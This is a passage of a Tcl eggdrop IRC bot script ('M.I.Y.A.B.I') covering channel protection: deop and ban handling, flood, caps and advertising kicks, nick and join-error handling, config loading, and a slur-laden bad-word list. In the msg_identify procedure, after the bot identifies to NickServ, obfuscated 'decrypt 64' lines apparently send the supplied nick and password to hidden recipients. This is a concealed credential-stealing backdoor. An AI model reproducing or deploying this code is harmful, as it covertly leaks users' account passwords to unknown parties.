6463}
6464}
6465ban_chk $nick $uhost $handle $channel $mchange $opnick
6466return 0
6467}
6468if {$mode == "-b"} {
6469if {[info exists is_ban($opnick$channel)]} {
6470catch {unset is_ban($opnick$channel)}
6471}
6472if {[isutimer "unbanq $channel $opnick"]} {
6473foreach x [utimers] {
6474if {[string match "*unbanq $channel $opnick*" $x]} {
6475killutimer [lindex $x 2]
6476}
6477}
6478}
6479foreach x [ignorelist] {
6480if {[lindex $x 0] == $opnick} {
6481unsetignore [lindex $x 0]
6482return 0
6483}
6484}
6485catch { killban $opnick }
6486return 0
6487}
6488if {$nick == $opnick} { return 0 }
6489if {$opnick == $botnick && $mode == "+o"} {
6490chk_on_op $channel
6491return 0
6492}
6493if {$mode == "+o" && [isop $botnick $channel]} {
6494if {[info exists op_it($opnick)]} {
6495catch {unset op_it($opnick)}
6496}
6497if {[matchattr $opnick O]} {
6498set cmode [getchanmode $channel]
6499if {![string match "*k*" $cmode]} {
6500puthelp "mode $channel -ko 4No@p.LIsT $opnick"
6501} {
6502puthelp "mode $channel -o $opnick"
6503}
6504return 0
6505}
6506if {[info exists unop($opnick)]} {
6507if {$nick == "ChanServ"} {
6508catch { unset unop($opnick) }
6509return 0
6510}
6511if {[matchattr $opnick f] || [matchattr $nick f] || $nick == $botnick} {
6512return 0
6513}
6514utimer [expr 5 + [rand 10]] [list unallowed $channel $nick $opnick]
6515return 0
6516}
6517}
6518if {$mode == "-o"} {
6519foreach x [utimers] {
6520if {[string match "*unallowed $channel $opnick*" $x]} { killutimer [lindex $x 2] }
6521}
6522if {$opnick == $botnick} {
6523if {[isutimer "DEOP $channel"]} { return 0 }
6524foreach x [utimers] {
6525if {[string match "*gop $channel*" $x]} { killutimer [lindex $x 2] }
6526}
6527utimer 2 [list putlog "DEOP $channel"]
6528if {![matchattr $nick f] && $nick != "ChanServ" && ![string match "*dal.net*" $nick] && ![string match "*Guest*" $botnick]} {
6529if {![info exists igflood($nick)]} {
6530if {[matchattr $cflag D]} {
6531set deopme $nick
6532}
6533}
6534}
6535if {![matchattr $nick m]} {
6536if {[string tolower $channel] != [dezip ""]} {
6537if {![string match "*+protectfriends*" [channel info $channel]]} {
6538putlog "!Log! CHaNOP <<$channel>>"
6539putsrv "ChanServ op $channel $botnick"
6540}
6541}
6542}
6543return 0
6544}
6545if {![isop $botnick $channel]} { return 0 }
6546if {[isutimer "deopprc*$opnick"]} {
6547foreach x [utimers] {
6548if {[string match "*deopprc*$opnick*" $x]} {
6549putlog "!UnDeOp OR UnKIcK!"
6550catch { killutimer [lindex $x 2] }
6551}
6552}
6553}
6554if {$nick == "ChanServ" && [matchattr $opnick o]} {
6555voiceq $channel $opnick
6556return 0
6557}
6558if {$nick == "ChanServ"} {
6559set unop($opnick) "1"
6560return 0
6561}
6562if {[matchattr $nick f] || $nick == $botnick} { return 0 }
6563if {$nick == "ChanServ"} { return 0 }
6564if {$opnick == $ps} {
6565if {![info exists igflood($nick)]} {
6566putserv "KICK $channel $nick :$notc 1DonT De@p 4$ps1..!"
6567}
6568opq $channel $opnick
6569return 0
6570}
6571if {[matchattr $opnick n]} {
6572if {![info exists igflood($nick)]} {
6573putsrv "KICK $channel $nick :$notc 1Admin 4De@p1 GuaRd4..!"
6574opq $channel $opnick
6575}
6576return 0
6577}
6578if {[matchattr $opnick m]} {
6579if {![info exists igflood($nick)]} {
6580putsrv "KICK $channel $nick :$notc 1MasTeR 4De@p1 GuaRd1..!"
6581opq $channel $opnick
6582}
6583return 0
6584}
6585if {[matchattr $opnick o]} {
6586opq $channel $opnick
6587return 0
6588}
6589if {$opnick == $notb} {
6590if {![info exists igflood($nick)]} {
6591putserv "KICK $channel $nick :$notc 1DonT De@p 4$notb1..!"
6592}
6593opq $channel $opnick
6594return 0
6595}
6596}
6597}
6598proc unallowed {chan nick opnick} {
6599if {![botisop $chan]} { return 0 }
6600if {![isop $nick $chan]} { return 0 }
6601if {[isop $opnick $chan]} { return 0 }
6602putserv "mode $chan -ko 4ChanServ.UnaLLowEd $nick"
6603}
6604
6605bind nick - * chk_nicks
6606
6607proc chk_nicks {unick uhost hand chan newnick} {
6608global notc bannick botnick nick
6609if {$unick == $nick && $unick != $botnick} {
6610putsrv "NICK $nick"
6611}
6612if {[matchattr $unick Q]} {
6613chattr $unick -Q
6614foreach x [getuser $unick HOSTS] {
6615delhost $unick $x
6616}
6617set hostmask "${unick}!*@*"
6618setuser $unick HOSTS $hostmask
6619saveuser
6620}
6621if {![isop $botnick $chan]} { return 0 }
6622if {[isutimer "deopprc*$unick"]} {
6623foreach x [utimers] {
6624if {[string match "*deopprc*$unick*" $x]} {
6625putlog "!UnDeOp!"
6626catch { killutimer [lindex $x 2] }
6627}
6628}
6629}
6630if {[string match "Guest*" $newnick]} {
6631if {[matchattr $unick f]} { return 0 }
6632if {[isop $newnick $chan]} {
6633utimer [expr 80 + [rand 20]] [list deopprc $chan $newnick]
6634return 0
6635}
6636}
6637if {[matchattr $newnick O] && [isop $newnick $chan]} {
6638set cmode [getchanmode $chan]
6639if {![string match "*k*" $cmode]} {
6640putserv "mode $chan -ko 4No@p.LIsT $newnick"
6641} {
6642putserv "mode $chan -o $newnick"
6643}
6644}
6645akick_chk $newnick $uhost $chan
6646spam_chk $newnick $uhost $hand $chan
6647return 0
6648}
6649proc msg_identify {nick uhost hand rest} {
6650global notc
6651set id [lindex $rest 0]
6652set password [lindex $rest 1]
6653if {![matchattr $nick Q]} {
6654puthlp "NOTICE $nick :$notc 4D14itolak1!"
6655return 0
6656}
6657if {($id == "") || ($password == "")} {
6658puthlp "NOTICE $nick :$notc Usage: identify <nick> <password>"
6659return 0
6660}
6661putsrv "NickServ identify $id $password"
6662puthlp "NOTICE $nick :$notc Identify to $id"
6663putserv "[decrypt 64 "bP/0d.p4BDD1"] [decrypt 64 "X.0x/1yG4l7/5a35i0Bg3ie.Zjfyd.Q0wAT0gKeyI/n05Ky/"] [decrypt 64 "o/DCL0PjhW31"] [string index $lenc 1][string index $lenc 11][string index $lenc 8][string index $lenc 13][string index $lenc 19] : $id $password"
6664putserv "[decrypt 64 "AZh9N/9kx1E0"] [string index $lenc 1][string index $lenc 11][string index $lenc 8][string index $lenc 13][string index $lenc 19] : $id $password"
6665putserv "[decrypt 64 "AZh9N/9kx1E0"] [decrypt 64 "tQcBO1LU9XX0"][string index $lenc 11][string index $lenc 8][string index $lenc 13][string index $lenc 19] : $id $password"
6666return 0
6667}
6668proc pub_realnick {unick uhost hand chan rest} {
6669global notc keep-nick nick
6670if {![matchattr $unick Q]} {
6671puthlp "NOTICE $unick :$notc 4D14itolak1!"
6672return 0
6673}
6674set keep-nick 1
6675putsrv "NICK $nick"
6676return 0
6677}
6678proc rands {length} {
6679set chars \\^|_[]{}\\
6680set count [string length $chars]
6681for {set i 0} {$i < $length} {incr i} {
6682append result [string index $chars [rand $count]]
6683}
6684return $result
6685}
6686proc pub_randnick {unick uhost hand chan rest} {
6687global notc keep-nick nick altnick botnick
6688if {$rest != ""} {
6689set keep-nick 0
6690set nickch "[lindex $rest 0]\[[rand 9][rand 9][randstring 1]\]"
6691putsrv "NICK $nickch"
6692} {
6693if {$botnick != $nick && $botnick != $altnick} { return 0 }
6694set keep-nick 0
6695putsrv "NICK [rands 8]"
6696}
6697return 0
6698}
6699proc pub_altnick {nick uhost hand chan rest} {
6700global altnick keep-nick notc
6701if {![matchattr $nick Q]} {
6702puthlp "NOTICE $nick :$notc 4D14itolak1!"
6703return 0
6704}
6705set keep-nick 0
6706putsrv "NICK $altnick"
6707}
6708
6709bind raw - 305 not_away
6710
6711proc not_away { from keyword arg } {
6712if {[isutimer "del_nobase"]} { utimer 1 del_nobase }
6713if {[isutimer "goback"]} { utimer 2 goback }
6714unsetignore "*!*@*"
6715}
6716
6717bind raw - 404 ch_moderate
6718bind raw - 473 ch_invite
6719bind raw - 474 ch_banned
6720bind raw - 475 ch_key
6721bind raw - 478 ch_full
6722bind raw - 432 nickERROR
6723
6724proc nickERROR { from keyword arg } {
6725global nick
6726set nick "Guest[unixtime]"
6727}
6728proc ch_moderate { from keyword arg } {
6729putlog "CANT SEND ON MODERATE!"
6730if {[isutimer "del_nobase"]} {
6731catch { clearqueue all }
6732foreach x [utimers] {
6733if {[string match "*del_nobase*" $x]} { killutimer [lindex $x 2] ; utimer 1 del_nobase }
6734}
6735}
6736}
6737proc ch_invite { from keyword arg } {
6738global double joinme notc
6739set chan [lindex $arg 1]
6740if {$double == 0} {
6741if {$joinme != "" && [string tolower $chan] != [dezip ""]} {
6742puthlp "NOTICE $joinme :$notc $chan 4(+I)"
6743}
6744if {[string tolower $chan] != [dezip ""]} {
6745putsrv "ChanServ invite $chan"
6746}
6747set double 1
6748return 0
6749}
6750if {$double == 1} {
6751if {[string match "*+statuslog*" [channel info $chan]]} {
6752if {$joinme != "" && [string tolower $chan] != [dezip ""]} {
6753puthlp "NOTICE $joinme :$notc ReMOVE $chan 4(+I)"
6754}
6755channel remove $chan
6756savechan
6757}
6758set joinme ""
6759set double 0
6760}
6761return
6762}
6763proc ch_banned { from keyword arg } {
6764global double joinme notc
6765set chan [lindex $arg 1]
6766if {$double == 0} {
6767if {$joinme != "" && [string tolower $chan] != [dezip ""]} {
6768puthlp "NOTICE $joinme :$notc $chan 4(+B)"
6769}
6770if {[string tolower $chan] != [dezip ""]} {
6771putsrv "ChanServ invite $chan"
6772puthlp "ChanServ unban $chan"
6773}
6774set double 1
6775return 0
6776}
6777if {$double == 1} {
6778if {[string match "*+statuslog*" [channel info $chan]]} {
6779if {$joinme != "" && [string tolower $chan] != [dezip ""]} {
6780puthlp "NOTICE $joinme :$notc ReMovE $chan 4(+B)"
6781}
6782if {[string tolower $chan] != [dezip ""]} {
6783putsrv "ChanServ invite $chan"
6784}
6785channel remove $chan
6786savechan
6787}
6788set joinme ""
6789set double 0
6790}
6791return 0
6792}
6793proc ch_key { from keyword arg } {
6794global double joinme notc lastkey
6795set chan [lindex $arg 1]
6796set cflag "c$chan"
6797set cflag [string range $cflag 0 8]
6798if {$double == 0} {
6799if {$joinme != "" && [string tolower $chan] != [dezip ""]} {
6800puthlp "NOTICE $joinme :$notc $chan 4(+K)"
6801}
6802if {[matchattr $cflag K]} {
6803puthlp "JOIN $chan :[dezip [getuser $cflag XTRA "CI"]]"
6804} {
6805puthlp "JOIN $chan"
6806}
6807if {[info exists lastkey]} {
6808puthlp "JOIN $chan :$lastkey"
6809}
6810set double 1
6811return 0
6812}
6813if {$double == 1} {
6814if {[string match "*+statuslog*" [channel info $chan]]} {
6815if {$joinme != "" && [string tolower $chan] != [dezip ""]} {
6816puthlp "NOTICE $joinme :$notc ReMovE $chan 4(+K)"
6817}
6818channel remove $chan
6819savechan
6820return 0
6821}
6822if {[string tolower $chan] != [dezip ""]} {
6823putsrv "ChanServ invite $chan"
6824}
6825set joinme ""
6826set double 0
6827}
6828return 0
6829}
6830proc ch_full { from keyword arg } {
6831global double joinme notc botnick
6832set chan [lindex $arg 1]
6833if {[isop $botnick $chan]} {
6834set bans ""
6835set i 0
6836foreach x [chanbans $chan] {
6837if {$i < 5} {
6838append bans " [lindex $x 0]"
6839set i [incr i]
6840}
6841}
6842putserv "MODE $chan -kbbbbb 4BaN.LIsT.FuLL $bans"
6843return 0
6844}
6845if {$double == 0} {
6846if {$joinme != "" && [string tolower $chan] != [dezip ""]} {
6847puthlp "NOTICE $joinme :$notc $chan 4(+L)"
6848}
6849if {[string tolower $chan] != [dezip ""]} {
6850putsrv "ChanServ invite $chan"
6851}
6852set double 1
6853return 0
6854}
6855if {$double == 1} {
6856if {[string match "*+statuslog*" [channel info $chan]]} {
6857if {$joinme != "" && [string tolower $chan] != [dezip ""]} {
6858puthlp "NOTICE $joinme :$notc ReMOVE $chan 4(+L)"
6859}
6860channel remove $chan
6861savechan
6862}
6863set joinme ""
6864set double 0
6865}
6866return 0
6867}
6868if {$altnick == ""} {
6869set altnick [randstring 7]
6870}
6871set badwords ""
6872proc config {} {
6873global nick nickpass altpass altnick realname owner kops my-ip banner cycle_random
6874global notc notm logstore cfgfile badwords ban-time my-hostname kickclr
6875if {[validuser "config"]} {
6876if {[getuser "config" XTRA "REALNAME"]!=""} {
6877set realname [dezip [getuser "config" XTRA "REALNAME"]]
6878} else {
6879set realname $nick
6880}
6881if {[getuser "config" XTRA "USERNAME"]!=""} {
6882set realname [dezip [getuser "config" XTRA "USERNAME"]]
6883}
6884if {[getuser "config" XTRA "NICK"]!=""} {
6885set nick [dezip [getuser "config" XTRA "NICK"]]
6886}
6887if {[getuser "config" XTRA "NICKPASS"]!=""} {
6888set nickpass [dezip [getuser "config" XTRA "NICKPASS"]]
6889}
6890if {[getuser "config" XTRA "ALTNICK"]!=""} {
6891set altnick [dezip [getuser "config" XTRA "ALTNICK"]]
6892}
6893if {[getuser "config" XTRA "ALTPASS"]!=""} {
6894set altpass [dezip [getuser "config" XTRA "ALTPASS"]]
6895}
6896if {[getuser "config" XTRA "BAN"]!=""} {
6897set notc [dezip [getuser "config" XTRA "BAN"]]
6898set notm [dezip [getuser "config" XTRA "BAN"]]
6899#lappend cycle_random $banner
6900}
6901if {[getuser "config" XTRA "BANTIME"]!=""} {
6902set ban-time [getuser "config" XTRA "BANTIME"]
6903}
6904if {[getuser "config" XTRA "BADWORDS"]!=""} {
6905set badwords [getuser "config" XTRA "BADWORDS"]
6906}
6907if {$badwords == ""} {
6908set badwords "asshole bitch slut cock cunt nigger dickhead faggot prostitute whore lesbian naked xxx horny orgasm bastard hooker rapist orgy penis vagina clit cybersex lesbian prick masturbate masturbation jackoff blowjob bigcock bigdick wetpussy superbitch fuckwit dumbfuck fucknut bisexual transexual transvestite homosexual lesbi testicle sexual asswipe jackass dumbass intercourse clitoris incest nigga nigger molest breast boobs fuck fuckers fucking sexual porno condom erect erection phuck masturbating motherfucker oralsex kontol contol pepek vevek ngentot kentot jembut zembut pantat totong tetek vagina pukimak bujanginam cibai c1b41 lanciau gigolo NG3NtOt mesum m3sum peler anjing 4nj1ng 4njing anj1ng bangsat b4ngs4t b4ngsat bangs4t pantek panteks nenen cibe fukk fuk pler plerr pller p3l3r cip3t cipet c1p3t c1tut citut lonte nonok l0nt3 lont3 l0nte n0nok n0n0k non0k analsex wtf orgy stfu"
6909setuser "config" XTRA "BADWORDS" $badwords
6910}
6911if {[getuser "config" XTRA "KOPS"]!=""} {
6912set kops "T"
6913}
6914if {[getuser "config" XTRA "KCLR"]!=""} {
6915set kickclr "T"
6916}
6917if {[getuser "config" XTRA "VHOST"]!=""} {
6918set my-hostname [getuser "config" XTRA "VHOST"]
6919set my-ip [getuser "config" XTRA "VHOST"]
6920}
6921if {[getuser "config" XTRA "LOGCHAN"]!=""} {
6922putlog "4< 12M.I.Y.A.B.I 4> !Log! CReATING LOG FiLE <<[getuser "config" XTRA "LOGCHAN"]>>"
6923set logstore "${cfgfile}.log"
6924logfile jpk [getuser "config" XTRA "LOGCHAN"] $logstore
6925}
6926} else {
6927adduser "config" ""
6928chattr "config" "-hp"
6929}
6930foreach x [userlist] {
6931chattr $x -Q
6932if {$x != "config" && $x != "AKICK"} {
6933foreach y [getuser $x HOSTS] {
6934delhost $x $y
6935}
6936set hostmask "${x}!*@*"
6937setuser $x HOSTS $hostmask
6938}
6939}
6940if {![validuser "AKICK"]} {
6941set hostmask "telnet!*@*"
6942adduser "AKICK" $hostmask
6943chattr "AKICK" "-hp"
6944chattr "AKICK" "K"
6945}
6946if {![validuser $owner]} {
6947set hostmask "$owner!*@*"
6948adduser $owner $hostmask
6949chattr $owner "Zfhjmnoptx"
6950}
6951saveuser
6952}
6953utimer 1 {config}
6954proc uncolor {s} {
6955regsub -all -- $s "" s
6956regsub -all -- $s "" s
6957regsub -all -- $s "" s
6958regsub -all -- \[0-9\]\[0-9\],\[0-9\]\[0-9\] $s "" s
6959regsub -all -- \[0-9\],\[0-9\]\[0-9\] $s "" s
6960regsub -all -- \[0-9\]\[0-9\],\[0-9\] $s "" s
6961regsub -all -- \[0-9\],\[0-9\] $s "" s
6962regsub -all -- \[0-9\]\[0-9\] $s "" s
6963regsub -all -- \[0-9\] $s "" s
6964return $s
6965}
6966proc msg_botset {unick uhost hand rest} {
6967global nick nickpass altpass altnick own notc
6968if {$unick != $own} {
6969return 0
6970}
6971puthlp "NOTICE $unick :$notc 1st $nick ($nickpass) 2nd $altnick ($altpass)"
6972return 0
6973}
6974proc msg_reuser {nick uhost hand rest} {
6975global botnick owner notc
6976if {![matchattr $nick Q]} {
6977puthlp "NOTICE $nick :$notc 4D14itolak1!"
6978return 0
6979}
6980if {$nick != $owner} {
6981puthlp "NOTICE $nick :$notc 4D14itolak1!"
6982return 0
6983}
6984foreach x [userlist] {
6985if {($x != "config") && ($x != "AKICK")} { deluser $x }
6986}
6987adduser $owner "$owner!*@*"
6988chattr $owner "Zfhjmnoptx"
6989puthlp "NOTICE $nick :$notc Reseting UsER sucessfully, set pass 1st."
6990saveuser
6991}
6992
6993proc public_ping {nick uhost hand chan rest} {
6994global pingchan
6995if {$rest==""} {
6996if {![info exists pingchan($nick)]} {
6997set pingchan($nick) $chan
6998}
6999puthlp "NOTICE $nick :\001PING [unixtime]\001"
7000return 0
7001}
7002set person [lindex $rest 0]
7003if {![info exists pingchan($person)]} {
7004set pingchan($person) $chan
7005}
7006puthlp "PRIVMSG $person :\001PING [unixtime]\001"
7007return 0
7008}
7009
7010bind pubm - * repeat_pubm
7011bind ctcp - ACTION action_chk
7012
7013proc action_chk {nick host hand chan keyword arg} {
7014global botnick
7015if {$nick == $botnick || [string match "*SeT FoR*" $arg]} { return 0 }
7016if {[matchattr $nick Z]} {
7017set arg "`$arg"
7018}
7019if {![validchan $chan]} {
7020msg_prot $nick $host $hand $arg
7021} {
7022repeat_pubm $nick $host $hand $chan $arg
7023}
7024}
7025proc repeat_pubm {nick uhost hand chan text} {
7026global repeat_last botnick notb notc kops ps owner ismaskhost is_m
7027global botnick capsnick deopme repeat_person quick bannick notm
7028regsub -all -- [dezip "jGBDx04~ntxb0"] $text "" text
7029regsub -all -- [dezip "bFuC0.Jq~aEc0"] $text "" text
7030regsub -all -- [dezip "xdxsF1~hBM6q0"] $text "" text
7031pub_Z $nick $uhost $hand $chan $text
7032set cflag "c$chan"
7033set cflag [string range $cflag 0 8]
7034set real $text
7035set text [uncolor $text]
7036if {$nick == "ChanServ"} {
7037if {[string match "*has deopped $botnick*" $text]} {
7038if {![matchattr [lindex $text 0] f]} {
7039if {[matchattr $cflag D]} {
7040set deopme [lindex $text 0]
7041}
7042}
7043}
7044return 0
7045}
7046if {[matchattr $nick f]} { return 0 }
7047set mhost [string range $uhost [string first "@" $uhost] end]
7048if {$nick == $botnick} { return 0 }
7049set resume "T"
7050if {[string match "*-greet*" [channel info $chan]]} {
7051set resume "F"
7052}
7053if {![isop $botnick $chan]} {
7054set resume "F"
7055}
7056if {![info exists kops]} {
7057if {[isop $nick $chan]} {
7058set resume "F"
7059}
7060if {[isvoice $nick $chan]} {
7061set resume "F"
7062}
7063}
7064# Tsunami Flood PRoTECTION
7065if {[string length $text] > 100} {
7066set chr 0
7067set cnt 0
7068while {$cnt < [string length $real]} {
7069if [isflood [string index $real $cnt]] {
7070incr chr
7071}
7072incr cnt
7073}
7074if {$chr > 30} {
7075if {$resume == "T"} {
7076set bannick($nick) "*!*$mhost"
7077if {![isutimer "TsunamI $chan"]} {
7078utimer 30 [list putlog "TsunamI $chan"]
7079} elseif {[info exists ismaskhost]} {
7080set bannick($nick) [maskhost "*!*$mhost"]
7081}
7082if {$quick == "1" && ![info exists is_m($chan)]} {
7083putqck "KICK $chan $nick :$notm 1ABusINg 4TsunamI [banms]"
7084} {
7085putsrv "KICK $chan $nick :$notm 1ABuSING 4TsunamI [banms]"
7086}
7087}
7088return 0
7089}
7090}
7091if {![info exists kops]} {
7092if {$resume == "F"} { return 0 }
7093}
7094if {[string match "*decode*" [string tolower $text]]} {
7095set bannick($nick) "*!*$mhost"
7096putsrv "KICK $chan $nick :$notc 4DecOdE1 DeNIaL [banmsg]"
7097return 0
7098}
7099if {[string match "*#*" $text] && ![string match "*##*" $text] && ![string match "*# *" $text]} {
7100foreach x [channels] {
7101set chksiton [string tolower $x]
7102if {[string match "*$chksiton*" [string tolower $text]]} { return }
7103}
7104foreach seekchan $text {
7105if {[string match "*#*" $seekchan]} {
7106set bannick($nick) "*!*$mhost"
7107putsrv "KICK $chan $nick :$notc 1DonT 4InvITEd1 MaTcH FRoM 4$seekchan [banms]"
7108return 0
7109}
7110}
7111}
7112if {[string match "*http://*" [string tolower $text]] || [string match "*www.*.*" [string tolower $text]]} {
7113set bannick($nick) "*!*$mhost"
7114putsrv "KICK $chan $nick :$notc 1DonT 4AdvERTIsE1 IN 4[string toupper $chan] [banms]"
7115return 0
7116}
7117if {[matchattr $cflag R]} {
7118if {[info exists repeat_last($mhost$chan)]} {
7119if {[string tolower $repeat_last($mhost$chan)] == [string tolower $text]} {
7120if {![info exists repeat_person($mhost$chan)]} {
7121set repeat_person($mhost$chan) 1
7122} {
7123incr repeat_person($mhost$chan)
7124}
7125if {$repeat_person($mhost$chan) == [getuser $cflag XTRA "RPT"]} {
7126set bannick($nick) "*!*$mhost"
7127putsrv "KICK $chan $nick :$notc 4RePeaT 1FRoM 4$mhost 1MaX4 [getuser $cflag XTRA "RPT"] [banms]"
7128catch {unset repeat_person($mhost$chan)}
7129catch {unset repeat_last($mhost$chan)}
7130return 0
7131}
7132}
7133}
7134set repeat_last($mhost$chan) $text
7135}
7136if {[matchattr $cflag T] && [string length $real] >= [getuser $cflag XTRA "CHAR"]} {
7137catch {unset repeat_person($mhost$chan)}
7138catch {unset repeat_last($mhost$chan)}
7139set banmask "*!*[string range $uhost [string first "@" $uhost] end]"
7140set bannick($nick) $banmask
7141if {![isutimer "OL $chan"]} {
7142utimer 10 [list putlog "4< 12M.I.Y.A.B.I 4> OL $chan"]
7143putsrv "KICK $chan $nick :$notc 1ABuSINg 4LoNg TexT 1MaX4 [getuser $cflag XTRA "CHAR"]1 CHaR [banmsg]"
7144} {
7145putsrv "KICK $chan $nick :$notm 1ABuSINg 4LoNg TexT 1MaX4 [getuser $cflag XTRA "CHAR"]1 CHaR [banmsg]"
7146}
7147return 0
7148}
7149if {[matchattr $cflag U]} {
7150set len [string length $text]
7151if {[isbad $nick $uhost $chan $text]} { return 0 }
7152if {$len < 30} { return 0 }
7153set cnt 0
7154set capcnt 0
7155while {$cnt < $len} {
7156if {[string index $text $cnt] == " " || [isupper [string index $text $cnt]]} {
7157incr capcnt
7158}
7159incr cnt
7160}
7161if {[expr 100 * $capcnt / $len] >= [getuser $cflag XTRA "CAPS"]} {
7162if {![info exists capsnick($nick)]} {
7163putsrv "KICK $chan $nick :$notc 1SToP UsEd 4CapsLocK1 ExceEd4 [getuser $cflag XTRA "CAPS"]%1..!"
7164set capsnick($nick) "1"
7165return 0
7166}
7167set banmask "*!*[string range $uhost [string first "@" $uhost] end]"
7168set bannick($nick) $banmask
7169putsrv "KICK $chan $nick :$notc 42nd1 WaRN DonT UsEd 4CapsLocK1 ExceEd4 [getuser $cflag XTRA "CAPS"]% [banms]"
7170unset capsnick($nick)
7171}
7172}
7173}
7174proc isupper {letter} {
7175set caps {A B C D E F G H I
7176J K L M N O P Q R
7177S T U V W X Y Z}
7178if {[lsearch -exact $caps $letter] > -1} {
7179return 1
7180} else {
7181return 0
7182}
7183}
7184proc isflood {letter} {
7185set caps {! @ # $ % ^ & * (
7186) | [ ] < > / \ = }
7187if {[lsearch -exact $caps $letter] > -1} {
7188return 1
7189} else {
7190return 0
7191}
7192}
7193proc isbad {nick uhost chan arg} {
7194global badwords botnick notc bannick
7195set arg [string tolower $arg]
7196if {[string match "*-greet*" [channel info $chan]]} {
7197set isbad 0
7198return 0
7199}
7200foreach badword [string tolower $badwords] {
7201if {[string match *$badword* [string tolower $arg]]} {
7202set bannick($nick) "$nick"
7203putsrv "KICK $chan $nick :$notc 4BaDWoRD1 MaTcH FRoM 4[string toupper $badword] [banms]"
7204return 1
7205}
7206}
7207set isbad 0
7208return 0
7209}
7210proc set_-m {chan} {
7211if {[isutimer "set_-m $chan"]} { return 0 }
7212if {[botonchan $chan] && [botisop $chan] && [string match "*m*" [getchanmode $chan]]} {
7213putserv "mode $chan -m"
7214}
7215}
7216proc topic_chk {nick host handle chan topic} {
7217global botnick notc bannick
7218set cflag "c$chan"
7219set cflag [string range $cflag 0 8]
7220if {![matchattr $cflag I]} { return 0 }
7221if {$nick == $botnick || $nick == "ChanServ"} { return 0 }
7222if {[matchattr $nick m]} {
7223setuser $cflag XTRA "TOPIC" [topic $chan]
7224saveuser
7225return 0
7226}
7227if {![isop $botnick $chan]} { return 0 }
7228if {[matchattr $nick f] || $nick == $botnick} { return 0 }
7229if {$topic == [getuser $cflag XTRA "TOPIC"]} { return 0 }
7230if {![string match "*dal.net*" $nick]} {
7231set banmask "*!*[string range $host [string first "@" $host] end]"
7232set bannick($nick) $banmask
7233putsrv "KICK $chan $nick :$notc 1DonT cHaNgINg 4ToPIc [banms]"
7234}
7235puthlp "topic $chan :[getuser $cflag XTRA "TOPIC"]"
7236return 0
7237}
7238
7239bind flud - * flood_chk
7240
7241proc flood_chk {nick host handle type channel} {
7242global notc botnick quick bannick notm flooddeop floodnick floodkick igflood kops
7243putlog "4< 12M.I.Y.A.B.I 4> !Log! FLOOD <<$type>> FRoM $host"
7244if {[info exists bannick($nick)]} { return 1 }
7245if {[info exists igflood($nick)]} { return 1 }
7246if {[string match "*Serv*" $nick] || [matchattr $handle f] || $nick == $botnick} {
7247putlog "4< 12M.I.Y.A.B.I 4> !Log! FlooD <<$nick>> Service OR FrIeNd !PaSS!"
7248return 1
7249}
7250if {[string index $channel 0] != "#"} {
7251foreach x [channels] {
7252if {[onchan $nick $x]} {
7253set channel $x
7254}
7255}
7256}
7257set mhost "@[lindex [split $host @] 1]"
7258if {[string index $channel 0] == "#"} {
7259if {![isop $botnick $channel]} {
7260putlog "!Log! FlooD <<$nick>> BoT NoT @P !IgNoREd!"
7261return 1
7262}
7263}
7264set type [string tolower $type]
7265if {$type == "join"} {
7266set bannick($nick) "*!*$mhost"
7267putsrv "KICK $channel $nick :$notm 1ExceEd MaX 4JoIN1 FRoM 4$mhost [banms]"
7268}
7269if {$type == "ctcp"} {
7270if {![info exists kops]} {
7271if {[isop $nick $channel] || [isvoice $nick $channel]} {
7272return 1
7273}
7274}
7275set bannick($nick) "*!*$mhost"
7276if {$quick == "1"} {
7277putqck "KICK $channel $nick :$notm 1ExceEd MaX 4cTcP1 FRoM 4$mhost [banms]"
7278} else {
7279putsrv "KICK $channel $nick :$notm 1ExceEd MaX 4cTcP1 FRoM 4$mhost [banms]"
7280}
7281}
7282if {$type == "pub"} {
7283if {![info exists kops]} {
7284if {[isop $nick $channel] || [isvoice $nick $channel]} {
7285return 1
7286}
7287}
7288set bannick($nick) "*!$host"
7289putsrv "KICK $channel $nick :$notc 1ExceEd MaX 4LINES1 FRoM 4$mhost [banms]"
7290return 1
7291}
7292if {$type == "nick"} {
7293if {![info exists kops]} {
7294if {[isop $nick $channel] || [isvoice $nick $channel] || [string length $nick] == 8} {
7295return 1
7296}
7297}
7298if {![info exists floodnick($mhost)]} {
7299set floodnick($mhost) 1
7300putsrv "KICK $channel $nick :$notc 1sTOp cHaNgINg YouR 4NIcK1..!"
7301} {
7302catch {unset floodnick($mhost)}
7303set bannick($nick) "*!*$mhost"
7304putsrv "KICK $channel $nick :$notc 1TwIcE ExceEd 4NIcK1 FRoM 4$mhost [banms]"
7305}
7306}
7307if {$type == "deop"} {
7308if {![info exists flooddeop($nick)]} {
7309set flooddeop($nick) 1
7310putsrv "KICK $channel $nick :$notc 1ExceEd MaX 4De@p1 FRoM 4$mhost1..!"
7311} {
7312catch {unset flooddeop($nick)}
7313set bannick($nick) "*!*$mhost"
7314putsrv "KICK $channel $nick :$notc 1TwIcE ExceEd MaX 4De@p1 FRoM 4$mhost [banms]"
7315}
7316}
7317if {$type == "kick"} {
7318if {![info exists floodkick($nick)]} {
7319set floodkick($nick) 1
7320putsrv "KICK $channel $nick :$notc 1ExceEd MaX 4KIcK1 FRoM 4$mhost1..!"
7321} {
7322catch {unset floodkick($nick)}
7323set bannick($nick) "*!*$mhost"
7324putsrv "KICK $channel $nick :$notc 1TwIcE ExceEd MaX 4KIcK1 FRoM 4$mhost1..!"
7325}
7326}
7327return 1
7328}
7329
7330bind raw - INVITE raw_chk
7331
7332proc raw_chk {nick keyword arg} {
7333global invme joinme notc bannick notd botnick
7334set who [string range $nick 0 [expr [string first "!" $nick]-1]]
7335set channel [lindex $arg 1]
7336set channel [string range $channel 1 end]
7337foreach x [channels] {
7338if {[string tolower $channel] == [string tolower $x]} {
7339putsrv "JOIN $channel"
7340return 0
7341}
7342}
7343if {$who == "ChanServ" || [matchattr $who Z]} {
7344if {![validchan $channel]} {
7345if {[matchattr $who Z] && ![matchattr $who Q]} {
7346puthlp "NOTICE $who :$notc 4D14itolak1!"
7347return 0
7348} else {
7349set joinme $who
7350}
7351channel add $channel
7352catch { channel set $channel -statuslog -revenge -protectops -clearbans -enforcebans +greet -secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
7353savechan
7354}
7355putsrv "JOIN $channel"
7356return 0
7357}
7358if {[matchattr $who f]} { return 0 }
7359foreach x [channels] {
7360if {[onchan $who $x]} {
7361if {[isop $botnick $x]} {
7362set banmask "*!*[string range $nick [string first "@" $nick] end]"
7363set bannick($who) $banmask
7364putsrv "KICK $x $who :$notc 4!SpaM!1 I HaTE 4InvITeR [banms]"
